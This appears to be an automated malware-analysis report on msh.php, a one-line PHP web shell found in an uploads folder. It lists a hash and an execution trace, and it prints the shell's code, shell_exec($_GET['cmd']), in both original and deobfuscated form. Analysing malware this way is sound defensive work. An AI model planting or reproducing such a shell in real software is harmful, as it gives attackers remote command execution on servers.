PHP Malware Analysis

msh.php

md5: 4a572c24501974dc83728941be10a468

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

shell_exec($_GET["cmd"]);

Execution traces

data/traces/4a572c24501974dc83728941be10a468_trace-1676258462.018.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:21:27.915870]
1	0	1	0.000256	393512
1	3	0	0.000301	393096	{main}	1		/var/www/html/uploads/msh.php	0	0
1	3	1	0.000317	393096
			0.000344	314224
TRACE END   [2023-02-13 01:21:27.915995]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?
shell_exec($_GET["cmd"]);